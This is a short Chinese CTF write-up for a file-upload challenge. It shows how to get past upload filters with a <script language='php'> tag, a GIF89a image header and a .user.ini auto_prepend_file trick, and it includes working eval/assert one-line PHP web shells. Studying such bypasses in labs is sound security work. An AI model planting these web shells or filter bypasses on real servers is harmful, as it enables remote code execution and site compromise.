这题考的文件上传 经典一句话先试试,回显文件格式不对,把php文件后缀改成jpg格式 第二次回显,显示文件中包含<?,那就把一句话,改成如下形式
<script language='php'>eval($_POST['niaho']);</script>
成功绕过<?匹配,回显不是图片格式,图片头绕过GIF89a 成功上传,下面就是如何上传php文件,或者执行php代码了 经过检测,对于文件类型进行了严格的过滤,改后缀肯定不行 经过检测,可以上传.user.ini文件(指纹检测下来是lnmp环境),相当于apache里面的.htaccess文件,里面有一个auto_prepend_file属性 相当于在上传目录中所有的php文件在运行时都会提前以代码的格式添加指定文件中的内容 那么,就可以实现php代码运行了 上传一句话也行,或者上传两次,第一次确定flag文件位置,第二次读取文件也行 以一句话为例,新建一个.user.ini文件
GIF89a
auto_prepend_file=shell.txt
新建shell.txt,上传,内容:
GIF89a
<script language='php'>assert($_POST['nihao']);</script> //assert执行相对比eval轻松,eval会检测代码格式,所以在eval失效的情况下,可以考虑用assert代替
然后访问上传路径中的index.php,即可拿到flag 参考视频链接:https://www.bilibili.com/video/BV1LQ4y167b9/
|